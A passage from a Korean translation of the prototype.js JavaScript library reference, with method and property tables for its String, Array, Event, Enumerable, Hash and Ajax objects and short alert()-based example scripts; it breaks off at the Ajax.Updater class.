    extend(destination, source) static destination: 객체, source: 객체 source에서 destination으로 모든 프라퍼티와 메소드를 복사하여 상속을 구현하기 위한 방법을 제공
    inspect(targetObj) static targetObj: 객체 targetObj의 사람이 읽을수 있는 문자열 표현으로 반환. 주어진 객체가 inspect 인스턴스 메소드를 정의하지 않는다면, toString 의 값을 반환
    keys(targetObj) static targetObj: 객체 모든 프라퍼티의 이름과 주어진 객체의 메소드를 가진 Array를 반환
    values(targetObj) static targetObj: 객체 모든 프라퍼티의 값과 주어진 객체의 메소드를 가진 Array를 반환
    clone(targetObj) static targetObj: 객체 targetObj의 얕은(shallow) 복사물을 반환

    toc

    Number 클래스를 위한 확장

    메소드 종류 인자 상세설명
    toColorPart() instance (none) 숫자의 16진법 표현을 반환. 색상의 RGB컴포넌트를 HTML표현으로 변환할때 유용
    succ() instance (none) 다음 숫자를 반환. 이 함수는 반복을 포함하는 시나리오에서 사용된다.
    times(iterator) instance iterator: Function(value, index)를 충족하는 함수 객체 인자 valueindex를 반복적으로 전달하는 iterator 함수를 호출하는 것은 iteration과 현재 index내 현재 값을 각각 포함한다.

    다음의 예제는 0에서 9까지의 메시지 박스를 표시할것이다.

    <script>
    	function demoTimes(){
    		var n = 10;
    		n.times(function(index){
    			alert(index);
    		});
    		/***************************
    		 * you could have also used: 
    		 *           (10).times( .... ); 
    		 ***************************/
    	}
    
    </script>
    
    <input type="button" value="Test Number.times()" onclick="demoTimes()"/>
    			

    toc

    Function 클래스를 위한 확장

    메소드 종류 인자 상세설명
    bind(object [, arg1 [, arg2 [...]]]) instance object: 메소드를 소유하는 객체 함수(=메소드) 소유자 객체로 미리 묶는 함수의 인스턴스를 반환. 반환된 함수는 원래의 것과 같은 인자를 가질것이다.
    bindAsEventListener(object [, arg1 [, arg2 [...]]]) instance object: 메소드를 소유하는 객체 유하는 객체 함수(=메소드) 소유자 객체로 미리 묶는 함수의 인스턴스를 반환. 반환된 함수는 이것의 인자로 현재 이벤트 객체를 가질것이다.

    실제로 이 확장 중 하나를 보자.

    <input type="checkbox" id="myChk" value="1"/> Test?
    <script>
    	//declaring the class
    	var CheckboxWatcher = Class.create();
    
    	//defining the rest of the class implementation
    	CheckboxWatcher.prototype = {
    
    	   initialize: function(chkBox, message) {
    			this.chkBox = $(chkBox);
    			this.message = message;
    			//assigning our method to the event
    			
    			this.chkBox.onclick = 
    			   this.showMessage.bindAsEventListener(this, ' from checkbox');
    			
    	   },
    
    	   showMessage: function(evt, extraInfo) {
    		  alert(this.message + ' (' + evt.type + ')' + extraInfo);
    	   }
    	};
    
    
    	var watcher = new CheckboxWatcher('myChk', 'Changed');
    </script>
    
    			

    toc

    String 클래스를 위한 확장

    메소드 종류 인자 상세설명
    camelize() instance (none) -(하이픈)으로 분리된 문자열을 camelCaseString으로 변환하기. 이 함수는 예를 들면, 프라퍼티 스타일을 다루는 코드를 작성할때 유용하다.
    capitalize() instance (none) 첫번째 글자를 대문자로 변환
    dasherize() instance (none) '_' 기호를 '-' 기호로 대체
    escapeHTML() instance (none) HTML마크업 문자들이 escaped된 문자열 반환
    evalScripts() instance (none) 문자열내에서 발견되는 각각의 <script />블럭을 평가하기
    extractScripts() instance (none) 문자열내에서 발견되는 모든 <script />블럭을 포함하는 Array객체 반환
    gsub(pattern, replacement) instance pattern: 검색하는 문자열이나 정규 표현식 replacement: 간단한 문자열, 템플릿 문자열 또는 대체물을 만들기 위한 Function(strings[]) 현재 문자열에서 패턴 문자열을 찾은 결과의 문자열을 반환하고 대체 문자열이나 패턴에 일치하는 문자열을 가진 배열을 전달하는 대체함수를 호출한 결과로 대체한다. 대체물이 문자열일때, #{n}과 같은 특별한 템플릿 형태의 토큰을 포함할수 있다. 여기서 n이라는 값은 정규표현식 그룹의 인덱스이다. #{0}는 완전히 일치하면 대체될것이고 #{1}는 첫번째 그룹, #{2}는 두번째이다.
    parseQuery() instance (none) toQueryParams()와 같음.
    scan(pattern, replacement) instance pattern: 검색하는 문자열이나 정규 표현식. replacement: 반복을 통해 일치하는지 보는 Function(strings[]) 반복을 통해 문자열이 일치하는 패턴을 찾기 위한 방법을 제공한다. pattern인자는 문자열이나 RegExp가 될수 있지만 RegExp는 좀더 유용하다. 유사하게도 replacement인자는 문자열이나 함수가 될수 있지만 유용한것을 만들수 있도록 함수에 전달하는것이 좋다.
    strip() instance (none) 문자열의 앞뒤로 공백 없는 문자열을 반환
    stripScripts() instance (none) 삭제된 <script /> 블럭을 가진 문자열을 반환
    stripTags() instance (none) HTML이나 XML태그가 삭제된 문자열을 반환
    sub(pattern, replacement [, count]) instance pattern: 검색하는 문자열이나 정규 표현식. replacement: 문자열 또는 대체물을 만드는 Function(strings[]) count: 숫자나 대체물 - 디폴트는 1 gsub와 매우 유사하지만 count파라미터로 지정되는 대체물의 수에 제한이 있다
    toArray() instance (none) 문자열을 이것의 문자들의 Array로 쪼개기
    toQueryParams() instance (none) 쿼리문자열(querystring)을 파라미터 이름에 의해 인덱스화되는 결합된 Array로 쪼개기
    truncate(length [, truncation]) instance length: 결과 문자열의 최대 길이 truncation: 결과 문자열의 마지막 글자를 대체하기 위해 사용되는 문자열 - 디폴트는 '...' 최대 길이의 문자열을 만들기 위해 사용. 문자열이 최대 길이를 유지하기 위해 짤릴필요가 있을 경우, truncation인자의 텍스트는 마지막의 몇개의 글자를 대체하기 위해 사용된다. (이를테면.: var s='123456790'; alert(s.truncate(5)); //displays '12...' )
    underscore() instance (none) CamelizedStringValue를 uderscore_formatted_string로 변환. (이를테면.: var s='Namespace::MyClass123'; alert(s.underscore()); //displays 'namespace/my_class123' ). 이 함수는 루비 온 레일즈 기능에서 직접 대상이 될것처럼 보인다.
    unescapeHTML() instance (none) escapeHTML()의 반대

    toc

    Array 클래스를 위한 확장

    시작하기 위해, ArrayEnumerable를 확장한다. 그래서 Enumerable객체내에 정의되는 모든 편리한 메소드는 사용가능하다. 이것외에도, 아래의 메소드들이 구현되었다.

    메소드 종류 인자 상세설명
    clear() instance (none) 배열을 비우고 자체를 반환한다.
    compact() instance (none) null 이거나 undefined인 요소를 제외하고 배열을 반환한다. 이 메소드는 배열자체를 변경하지 않는다.
    first() instance (none) 배열의 첫번째 요소를 반환한다.
    flatten() instance (none) 기복이 없고, 1차원의 배열을 반환한다. 이 함수는 배열이고 반환된 배열내 요소를 포함하는 배열의 각 요소를 찾음으로써 수행된다.
    indexOf(value) instance value: what you are looking for. 배열에서 찾아진다면 주어진 value의 0부터 시작하는 인덱스의 위치를 반환. value이 없다면 -1을 반환
    inspect() instance (none) 요소를 가진 배열의 잘 포맷팅된 문자열 표시를 반환하기 위해 변경
    last() instance (none) 배열의 마지막 요소를 반환한다.
    reverse([applyToSelf]) instance applyToSelf: 배열 자체가 반전되는지 표시 역순서로 배열을 반환. 인자가 주어지지 않거나 인자가 true라면, 배열자체는 반전될것이다. 그렇지 않으면 변경되지 않고 남는다.
    shift() instance (none) 첫번째 요소를 반환하고 배열로부터 이것을 제거한다. 배열의 길이는 1 감소한다.
    without(value1 [, value2 [, .. valueN]]) instance value1 ... valueN: 배열내 존재한다면 제외될 값 인자의 리스트에 포함된 요소를 제외한 배열을 반환. 이 메소드는 배열 자체를 변경하지는 않는다.

    이 메소드들을 사용하는 것을 보자.

    <script>
    var A = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h'];
    alert(A.inspect()); // "['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']"
    var B = A.without('e','f');
    alert(B.inspect()); // "['a', 'b', 'c', 'd', 'g', 'h']"
    alert(A.inspect()); // did not change A: "['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']"
    A.push(null);
    A.push('x');
    A.push(null);
    A.push('y');
    alert(A.inspect()); // "['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', null, 'x', null, 'y']"
    A = A.compact();
    alert(A.inspect()); // "['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'x', 'y']"
    var e = A.shift();
    alert(e); // "a" 
    alert(A.inspect()); // "['b', 'c', 'd', 'e', 'f', 'g', 'h', 'x', 'y']"
    alert(A.indexOf('c')); // 1
    alert(A.first()); // 'b'
    alert(A.last()); // 'y'
    A.clear();
    alert(A.inspect()); // "[]"
    A = ['a', 'b', 'c'];
    B = A.reverse(false);
    alert(B.inspect()); // "['c', 'b', 'a']"
    alert(A.inspect()); // A left untouched: "['a', 'b', 'c']"
    A.reverse(true);
    alert(A.inspect()); // "['c', 'b', 'a']"	
    A = ['a', 'b',  ['c1','c2','c3'] , 'd',  ['e1','e2']  ];
    B = A.flatten();
    alert(B.inspect()); // "['a','b','c1','c2','c3','d','e1','e2']"		
    alert(A.inspect()); // unchanged: "['a','b',['c1','c2','c3'],'d',['e1','e2']]"		
    </script>
    			

    toc

    document DOM 객체를 위한 확장

    메소드 종류 인자 상세설명
    getElementsByClassName(className [, parentElement]) instance className: 요소와 연관된 CSS 클래스 이름, parentElement: 객체 또는 가져올 요소를 포함하는 요소의 객체나 id 주어진 CSS 클래스명과 연관된 모든 요소를 반환. parentElement id가 주어졌다면, 전체 문서가 검색될것이다.

    toc

    Event 객체를 위한 확장

    프라퍼티 타입 상세설명
    KEY_BACKSPACE Number 8: 되돌리기(<-) 키를 위한 상수 코드.
    KEY_TAB Number 9: 탭키를 위한 상수코드
    KEY_RETURN Number 13: 리턴키를 위한 상수코드
    KEY_ESC Number 27: Esc키를 위한 상수코드
    KEY_LEFT Number 37: 왼쪽 화살표 키를 위한 상수코드
    KEY_UP Number 38: 위쪽 화살표 키를 위한 상수코드
    KEY_RIGHT Number 39: 오른쪽 화살표 키를 위한 상수코드
    KEY_DOWN Number 40: 아래쪽 화살표 키를 위한 상수코드
    KEY_DELETE Number 46: Delete키를 위한 상수코드
    observers: Array 캐시된 관찰자(observers)의 목록. 상세한 객체의 내부구현의 일부
    메소드 종류 인자 상세설명
    element(event) static event: Event객체 이벤트를 일으키는 요소를 반환
    isLeftClick(event) static event: Event객체 마우스 왼쪽 버튼을 클릭시 true값 반환
    pointerX(event) static event: Event객체 페이지에서 마우스 포인터의 x측 좌표값 반환
    pointerY(event) static event: Event객체 페이지에서 마우스 포인터의 y측 좌표값 반환
    stop(event) static event: Event객체 이벤트의 디폴트 행위를 취소하고 위임을 연기하기 위해 이 함수를 사용
    findElement(event, tagName) static event: Event객체, tagName: 원하는 태그명 DOM트리 위쪽으로 가로지른다. 주어진 태그명을 가진 첫번째 요소를 검색한다. 이벤트를 발생시키는 요소로부터 시작한다.
    observe(element, name, observer, useCapture) static element: 객체 또는 아이디, name: 이벤트 명 (like 'click', 'load', etc), observer: 이벤트를 다루는 함수, useCapture: true라면, capture내 이벤트를 다루고 false라면 bubbling 내 이벤트를 다룬다. 이벤트를 위한 이벤트 핸들러 함수를 추가
    stopObserving(element, name, observer, useCapture) static element: 객체 또는 아이디, name: 이벤트 명 (like 'click'), observer: 이벤트를 다루는 함수, useCapture: true이면, capture내 이벤트를 다루고 false이면 bubbling 내 이벤트를 다룬다. 이벤트로부터 이벤트 핸들러를 제거
    _observeAndCache(element, name, observer, useCapture) static   private메소드, 이것에 대해 걱정하지말라
    unloadCache() static (none) private메소드, 이것에 대해 걱정하지말라. 메모리로부터 캐시된 모든 관찰자(observer)를 지운다.

    window객체의 이벤트를 로그하기 위한 이벤트 핸들러를 추가하는 객체를 사용하는 방법을 보자.

    <script>
    	Event.observe(window, 'load', page_loaded, false);
    
    	function page_loaded(evt) {
    	  Event.observe('parent_node', 'click', item_clicked, false);
    	}
    	
    	function item_clicked(evt){
    		var child = Event.element(evt);
    		alert('The child node with id=' + child.id + ' was clicked');
    		Event.stop(evt); //avoid another call related to 'parent_node' itself
    	}
    </script>	
    ...
    <div id="parent_node">
    	<div id="child1">First</div>
    	<div id="child2">Second</div>
    	<div id="child3">Third</div>
    </div>		
    			

    toc

    prototype.js에 새롭게 정의된 객체와 클래스

    라이브러리가 당신을 돕는 다른 방법은 객체지향 디자인과 공통적인 기능을 위한 지원 모두를 구현하는 많은 객체를 제공하는 것이다.

    toc

    PeriodicalExecuter 객체

    이 객체는 주어진 함수를 주어진 시간간격으로 반복적으로 호출하기 위한 로직을 제공한다.

    메소드 종류 인자 상세설명
    [ctor](callback, interval) constructor callback: 오직 인자로 PeriodcalExecuter 객체 자체가 전달될 함수, interval: 초단위 시간간격 함수를 반복적으로 호출할 이 객체의 하나의 인스턴스를 생성
    registerCallback() instance (none) 타이머를 다시 셋팅한다.
    stop() instance (none) 타이머를 취소하고 콜백 실행을 하지 않도록 한다.
    onTimerEvent() instance (none) 타이머가 호출하는 메소드. 순차적으로 객체 자체를 전달하는 콜백 메소드를 호출할것이다.
    프라퍼티 타입 상세설명
    callback Function(objExecuter) 호출되기 위한 함수. objExecuter: PeriodcalExecuter가 호출을 만든다.
    timer Timer 콜백 메소드를 반복적으로 호출하기 위해 타이머 객체를 다룬다.
    frequency Number 이것은 수초내 간격으로 실질적으로 작용
    currentlyExecuting Boolean 만약 함수 호출이 진행중이라면 표시

    toc

    Prototype 객체

    Prototype 객체는 사용되는 라이브러리의 버전을 명시하는 것보다 중요한 역활을 가지지 않는다.

    프라퍼티 타입 상세설명
    Version String 라이브러리의 버전
    emptyFunction Function() 비어있는(empty) 함수 객체
    K Function(obj) 주어진 파라미터를 되돌리는 함수 객체
    ScriptFragment String 스크립트를 확인하는 정규식 표현

    toc

    Enumerable 객체

    Enumerable 객체는 list형태의 구조내에서 항목을 반복하기 위한 좀더 멋진 코드를 작성하는 것을 허용한다.

    많은 객체들은 유용한 인터페이스에 영향을 끼치기 위해 Enumerable 을 확장한다.

    프라퍼티 타입 상세설명
    each(iterator) instance iterator: Function(value, index)를 충족하는 함수 객체 주어진 iterator함수를 호출하는 것은 첫번째 인자내 목록으로 각각의 요소와 두번째 인자내 요소의 인덱스 전달한다
    all([iterator]) instance iterator: Function(value, index)를 충족하는 함수 객체(선택사항) 이 함수는 주어진 함수를 사용하여 값들의 전체 집합을 테스트하기 위한 방법이다. iterator 함수가 어떤 요소를 위해 falsenull을 반환한다면, all은 false를 반환할것이다. 그렇지 않다면 true를 반환할것이다. iterator가 주어지지 않는다면, 요소 자체가 falsenull이 아닌지 테스트할것이다. 당신은 "모든 요소가 false가 아닌지 체크한다"와 같이 이것을 읽을수 있다.
    any([iterator]) instance iterator: Function(value, index)를 충족하는 함수 객체(선택사항) 이 함수는 주어진 함수를 사용하여 값들의 전체 집합을 테스트하기 위한 방법이다. iterator함수가 어떤 요소를 위해 falsenull을 반환하지 않는다면 anytrue를 반환할것이다. 그렇지 않다면 false를 반환할것이다. iterator가 주어지지 않는다면, 요소 자체가 falsenull이 아닌지 테스트할것이다. 당신은 "어느 요소가 false가 아닌지 체크한다"와 같이 이것을 읽을수 있다.
    collect(iterator) instance iterator: Function(value, index)를 충족하는 함수 객체 집합내 각각의 요소를 위한 iterator함수를 호출하고 Array로 각각의 결과를 반환한다. 집합내 각각의 요소를 위한 하나의 결과 요소는 같은 순서이다.
    detect(iterator) instance iterator: Function(value, index)를 충족하는 함수 객체 집합내 각각의 요소를 위한 iterator함수를 호출하고 true를 반환하는 iterator함수를 야기하는 첫번째 요소를 반환한다. true를 반환하는 요소가 없다면, detectnull을 반환한다.
    entries() instance (none) toArray()와 같다.
    find(iterator) instance iterator: Function(value, index)를 충족하는 함수 객체 detect()와 같다.
    findAll(iterator) instance iterator: Function(value, index)를 충족하는 함수 객체 집합내 각각의 요소를 위한 iterator함수를 호출하고 true로 해석되는 값을 반환하는 iterator함수를 야기하는 모든 요소를 가진 Array을 반환한다. 이 함수는 reject()와는 반대의 함수이다.
    grep(pattern [, iterator]) instance pattern: 요소를 일치시키기 위해 사용되는 RegExp객체, iterator: Function(value, index)를 충족하는 함수 객체 집합내 각각의 요소의 문자열 값을 pattern 정규표현식에 대해 테스트한다. 함수는 정규표현식에 대응되는 모든 요소를 포함하는 Array 를 반환할것이다. iterator함수가 주어진다면, Array는 대응되는 각각의 요소를 가진 iterator를 호출한 결과를 포함할것이다.
    include(obj) instance obj: 객체 집합내 주어진 객체를 찾도록 시도한다. 객체가 찾아진다면, true를 반환하고 찾지 못한다면 false를 반환한다.
    inGroupsOf(number, fillWith) instance number: 그룹별 타이머의 수, fillWith: 빈 공간을 채울 필요가 있는 값 첫번째 인자로 지정된 만큼의 항목을 포함하는 그룹별 collection을 반환. 초기 collection의 항목수가 첫번째 인자로 주어진 숫자로 나누어지지 않는다면, 마지막 그룹의 끝에 빈 항목이 null로 채워지거나 두번째 인자값으로 채워진다. 예를 들면, ['a','b','c','d'].inGroupsOf(3,'?')[ ['a','b','c'] , ['d','?','?'] ]를 생성한다.
    inject(initialValue, iterator) instance initialValue: 초기화 값처럼 사용되는 객체, iterator: Function(accumulator, value, index)를 충족하는 함수 객체 iterator함수를 사용하여 집합의 모든 요소를 조합한다. 호출된 iterator는 accumulator인자에서 이전 반복의 결과를 전달한다. 첫번째 반복은 accumulator인자내 initialValue를 가진다. 마지막 결과는 마지막 반환값이다.
    invoke(methodName [, arg1 [, arg2 [...]]]) instance methodName: 각각의 요소내에서 호출될 메소드의 이름, arg1..argN: 메소드 호출로 전달될 인자. 집합의 각각의 요소내 methodName에 의해 명시되는 메소드를 호출하는 것은 주어진 인자(arg1에서 argN) 전달하고 Array객체로 결과를 반환한다.
    map(iterator) instance iterator: Function(value, index)를 충족하는 함수 객체 collect()과 같다.
    max([iterator]) instance iterator: Function(value, index)를 충족하는 함수 객체 집합내 가장 큰 값이나 iterator가 주어진다면 집합내 각각의 요소를 위한 iterator호출의 가장 큰 결과를 반환한다.
    member(obj) instance obj: any object include()와 같다.
    min([iterator]) instance iterator: Function(value, index)를 충족하는 함수 객체 집합내 가장 작은 값을 가진 요소나 iterator가 주어진다면 집합내 각각의 요소를 위한 iterator호출의 가장 작은 결과를 가진 요소를 반환한다.
    partition([iterator]) instance iterator: Function(value, index)를 충족하는 함수 객체 두개의 다른 배열을 포함하는 Array를 반환한다. 첫번째 배열은 true를 반환하는 iterator함수를 야기하는 모든 요소를 포함할것이고 두번째 배열은 남아있는 요소를 포함할것이다. 만약 iterator가 주어지지 않는다면, 첫번째 배열은 true로 해석하는 요소를 포함할것이고 다른 배열은 남아있는 요소를 포함할것이다.
    pluck(propertyName) instance propertyName : 각각의 요소로부터 읽어들이는 프라퍼티의 이름. 이것은 요소의 인덱스를 포함할수 있다 집합의 각각의 요소내 propertyName에 의해 명시된 프라퍼티에 값을 가져가고 Array객체로 결과를 반환한다.
    reject(iterator) instance iterator: Function(value, index)를 충족하는 함수 객체 집합내 각각의 요소를 위한 iterator함수를 호출하고 false로 해석하는 값을 반환하는 iterator함수를 야기하는 모든 요소를 가진 Array를 반환한다. 이 함수는 findAll()과는 반대되는 함수이다..
    select(iterator) instance iterator: Function(value, index)를 충족하는 함수 객체 findAll()과 같다.
    sortBy(iterator) instance iterator: Function(value, index)를 충족하는 함수 객체 iterator함수 호출결과를 따르는 정렬된 모든 요소를 가진 Array을 반환.
    toArray() instance (none) 집합의 모든 요소를 가지는 Array를 반환.
    zip(collection1[, collection2 [, ... collectionN [,transform]]]) instance collection1 .. collectionN: 병합될 목록, transform: Function(value, index)를 충족하는 함수 객체 현재의 집합으로 각각의 주어진 집합을 병합한다. 이 병합 작업은 같은 수의 요소를 가진 새로운 배열을 반환한다. 현재 집합과 각각의 요소가 각각의 병합된 집합으로부터 같은 인덱스를 가진 요소의 배열(이것을 하위 배열이라고 부르자.)이다. transform함수가 주어진다면, 각각의 하위 배열은 반환되기 전에 이 함수에 의해 변형딜것이다. 빠른 예제 : [1,2,3].zip([4,5,6], [7,8,9]).inspect() 는 "[[1,4,7],[2,5,8],[3,6,9] ]" 를 반환한다.

    toc

    Hash 객체

    Hash 객체는 hash구조를 구현한다. 이를테면, Key:Value쌍의 집합.

    Hash객체내 각각의 항목은 두개의 요소(첫번째는 key, 두번째는 value)를 가진 배열이다. 각각의 항목은 두개의 프라퍼티(keyvalue)를 가진다.

    메소드 종류 인자 상세설명
    keys() instance (none) 모든 항목의 key를 가진 Array을 반환
    values() instance (none) 모든 항목의 value를 가진 Array을 반환
    merge(otherHash) instance otherHash: Hash object hash와 전달된 다른 hash를 조합하고 새로운 결과 hash를 반환
    toQueryString() instance (none) 쿼리 문자열처럼 포맷팅된 문자열로 hash의 모든 항목을 반환. 이를테면 'key1=value1&key2=value2&key3=value3'
    inspect() instance (none) key:value쌍을 가진 hash의 포맷팅된 문자열 표현을 반환하기 위해 변경(오버라이드)

    toc

    ObjectRange 클래스

    Enumerable으로부터 상속

    상위 경계나 하위 경계로 값들의 범위를 표시

    프라퍼티 타입 종류 상세설명
    start (any) instance 범위의 시작값
    end (any) instance 범위의 마지막값
    exclusive Boolean instance 경계자체가 범위의 일부인지 판단
    메소드 종류 인자 상세설명
    [ctor](start, end, exclusive) constructor start: 시작값, end: 마지막값, exclusive: 경계가 범위내 포함되는가.? 하나의 range객체를 생성한다. start 에서 end로 범위를 지정한다. startend가 같은 타입의 객체이고 succ()메소드를 가져야만 한다.
    include(searchedValue) instance searchedValue: 검색할 값 주어진 값이 범위내 값인지 체크. truefalse값을 반환한다.

    toc

    Class 객체

    Class 객체는 라이브러리에서 다른 클래스를 선언할때 사용된다. 클래스를 선언할때 이 객체를 사용하는 것은 생성자로 제공되는 initialize()메소드를 지원하기 위한 새로운 클래스를 발생시킨다.

    아래의 샘플을 보라.

    //declaring the class
    var MySampleClass = Class.create();
    
    //defining the rest of the class implementation
    MySampleClass.prototype = {
    
       initialize: function(message) {
    		this.message = message;
       },
    
       showMessage: function(ajaxResponse) {
          alert(this.message);
       }
    };	
    
    //now, let's instantiate and use one object
    var myTalker = new MySampleClass('hi there.');
    myTalker.showMessage(); //displays alert
    
    			
    메소드 종류 인자 상세설명
    create(*) instance (any) 새로운 클래스를 위한 생성자를 정의

    toc

    Ajax 객체

    이 객체는 AJAX기능을 제공하는 많은 다른 클래스를 위한 root와 명명공간(namespace)처럼 제공한다.

    프라퍼티 타입 종류 상세설명
    activeRequestCount Number instance 진행중인 AJAX요청의 수.
    메소드 종류 인자 상세설명
    getTransport() instance (none) 새로운 XMLHttpRequest 객체를 반환

    toc

    Ajax.Responders 객체

    Enumerable 로 부터 상속되었다

    이 객체는 Ajax관련 이벤트가 발생할때 호출될 객체의 목록을 보존한다. 예를 들어, 당신이 AJAX작업을 위한 전역 예외 핸들러를 연결하길 원한다면 이 객체를 사용할수 있다.

    프라퍼티 타입 종류 상세설명
    responders Array instance 객체의 목록은 AJAX이벤트 알림(notifications)을 위해 등록되었다.
    메소드 종류 인자 상세설명
    register(responderToAdd) instance responderToAdd: 호출될 메소드를 가진 객체. responderToAdd인자를 전달하는 객체는 AJAX이벤트(이를테면, onCreate, onComplete, onException 등등)처럼 명명된 메소드를 포함해야만 한다. 유사한 이벤트가 발생하면, 적절한 이름을 가진 메소드를 포함하는 모든 등록된 객체가 호출되는 메소드를 가질것이다.
    unregister(responderToRemove) instance responderToRemove: list로부터 제거될 객체 responderToRemove 인자로 전달되는 객체는 등록된 객체의 list로부터 제거될것이다.
    dispatch(callback, request, transport, json) instance callback: 보고되는 AJAX이벤트 이름, request: 이벤트를 책임지는 the Ajax.Request 객체, transport: AJAX호출을 가지는 XMLHttpRequest 객체, json: 응답의 X-JSON 헤더(존재할때만) 등록된 객체의 목록을 통해 실행하는 것은 callback 인자내 결정된 메소드를 가지는 것을 찾는다. 호출되는 각각의 메소드는 다른 3개의 인자를 전달한다. AJAX응답이 몇몇 JSON컨텐츠를 가지는 X-JSON HTTP 헤더를 포함한다면, 이것은 평가되고 json인자로 전달될것이다. 만약 이벤트가 onException라면, transport인자는 대신에 예외를 가질것이고 json은 전달되지 않을것이다.

    toc

    Ajax.Base 클래스

    이 클래스는 Ajax객체내 정의된 다른 대부분의 클래스를 위한 기본(base)클래스처럼 사용된다.

    메소드 종류 인자 상세설명
    setOptions(options) instance options: AJAX 옵션 AJAX작업을 위해 필요한 옵션 셋팅
    responseIsSuccess() instance (none) 만약 AJAX작업이 성공한다면 true를 반환하고, 실패한다면 false를 반환
    responseIsFailure() instance (none) responseIsSuccess()와는 반대.

    toc

    Ajax.Request 클래스

    Ajax.Base로 부터 상속

    AJAX 작업을 캡슐화

    프라퍼티 타입 종류 상세설명
    Events Array static AJAX작업중 보고되는 가능한 이벤트/상태의 목록. 목록은 'Uninitialized', 'Loading', 'Loaded', 'Interactive', 그리고 'Complete.'를 포함한다.
    transport XMLHttpRequest instance AJAX작업을 가지는 XMLHttpRequest 객체
    url String instance 요청에 의해 대상이 되는 URL
    메소드 종류 인자 상세설명
    [ctor](url, options) constructor url: 꺼내기 위한 url, options: AJAX 옵션 주어진 옵션을 사용하여 주어진 url을 호출할 이 객체의 하나의 인스턴스를 생성. 중요사항: 선택된 url은 브라우저의 보안 셋팅을 위한 대상이 될 가치가 없다. 많은 경우 브라우저는 현재 페이지처럼 같은 호스트로부터가 아니라면 url을 가져오지 않을것이다. 당신은 설정을 피하거나 사용자의 브라우저를 제한하기 위한 로컬 url만을 사용할 것이다.
    evalJSON() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 AJAX응답내 존재하는 X-JSON HTTP헤더의 컨텐츠를 평가하기 위해 내부적으로 호출된다.
    evalResponse() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. AJAX응답이 text/javascriptContent-type헤더를 가진다면, 응답 몸체는 평가되고 이 메소드는 사용될것이다.
    header(name) instance name: HTTP header name 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 AJAX응답의 HTTP헤더의 컨텐츠를 가져오기 위해 내부적으로 호출된다.
    onStateChange() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 AJAX호출 상태 변경시 객체 자체에 의해 호출된다.
    request(url) instance url: url for the AJAX call 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 생성자를 호출하는 동안 벌써 호출되었다.
    respondToReadyState(readyState) instance readyState: 상태 숫자값(1 에서 4) 이 메소드는 대개 외부에서 호출되지 않는다. 이것은 AJAX호출 상태가 변경될때 객체 자체에 의해 호출된다.
    setRequestHeaders() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 HTTP요청을 하는 동안 보내어질 HTTP헤더를 조합하기 위한 객체 스스로에 의해 호출된다.

    toc

    options 인자 객체

    AJAX작업의 중요한 부분은 options 인자이다. 이것은 기대되는 프라퍼티를 가지는 동안 어떠한 객체도 전달될수 있다. 이것은 AJAX호출을 위해 익명 객체를 생성하는 것이 공통적이다.

    프라퍼티 타입 디폴트 상세설명
    method String 'post' HTTP요청의 메소드
    parameters String '' 요청에 전달한 값들의 url형태의 목록
    asynchronous Boolean true AJAX호출이 비동기적으로 만들어지는지 표시
    postBody String undefined HTTP POST의 경우 요청의 몸체내 전달되는 내용
    requestHeaders Array undefined 요청과 함께 전달되기 위한 HTTP헤더의 목록. 이 목록은 많은 수의 항목을 가져야 한다. 나머지 항목은 사용자 정의 헤더의 이름이다. 그리고 다음의 항목은 헤더의 문자열 값이다. 예제 : ['my-header1', 'this is the value', 'my-other-header', 'another value']
    onXXXXXXXX Function(XMLHttpRequest, Object) undefined 각각의 이벤트/상태가 AJAX호출이 발생하는 동안 도착할때 호출될 사용자정의 함수. 이 옵션에는 "XXXXXXXX"를 위해 Ajax.Request.Events, 와 HTTP status codes의 상태중에 다양한 대안이 있다. 예를 들어 var myOpts = {onComplete: showResponse, onLoaded: registerLoaded};. 사용되는 함수는 AJAX작업과 평가된 X-JSON응답 HTTP헤더를 포함하는 인자를 가지는 XMLHttpRequest객체를 포함하는 하나의 인자를 받을것이다.
    onSuccess Function(XMLHttpRequest, Object) undefined AJAX호출이 성공적으로 완성될때 호출될 사용자정의 함수. 사용되는 함수는 AJAX작업을 가지는 XMLHttpRequest객체를 포함하는 하나의 인자를 받을것이다.
    onFailure Function(XMLHttpRequest, Object) undefined AJAX호출이 에러를 가진채 끝날때 호출될 사용자정의 함수. 사용되는 함수는 AJAX작업을 가지는 XMLHttpRequest객체를 포함하는 하나의 인자를 받을것이다.
    onException Function(Ajax.Request, exception) undefined 유효하지 않은 응답이나 유효하지 않은 인자와 같이 예외적인 조건이 클라이언트 측 AJAX호출에서 발생했을때 호출될 사용자정의 함수. 사용된 함수는 AJAX작업을 포장하는 Ajax.Request 객체와 exception객체를 포함하는 두개의 인자를 받을것이다.
    insertion an Insertion class undefined 새로운 내용이 삽입될 방법을 판단할 클래스. Insertion.Before, Insertion.Top, Insertion.Bottom, 또는 Insertion.After가 될수 있다. Ajax.Updater객체에만 적용한다.
    evalScripts Boolean undefined, false 스크립트 블럭이 응답이 도착했을때 평가할지를 판단. Ajax.Updater객체에만 적용 objects.
    decay Number undefined, 1 Ajax.PeriodicalUpdater 객체는 받은 응답이 마지막 것과 같을때 비율을 새롭게 하여 연속적인 후퇴를 결정. 예를 들어, 당신이 2를 사용한다면, 새롭게 된것중에 하나가 이전것과 같은 결과를 만든후에, 객체는 다음 refresh를 위한 시간의 두배를 기다릴것이다. 이것은 다시 반복한다면, 객체는 4배를 기다릴것이다. 이것을 후퇴를 피하기 위해 정의되지 않거나 1을 사용하도록 남겨두라.
    frequency Number undefined, 2 초단위의 갱신간격(횟수가 아닌), Ajax.PeriodicalUpdater객체에만 적용.

    toc

    Ajax.Updater 클래스

    Ajax.Request로 부터 상속

    요청된 url이 당신 페이지의 특정 요소내 직접적으로 삽입하길 원하는 HTML을 반환할때 사용된다. 당신은 url이 도착을 평가할 <script>블럭을 반환할때 이 객체를 사용할수 있다. 스크립트로 작업하기 위해 evalScripts 옵션을 사용하라.

    프라퍼티 타입 종류 상세설명
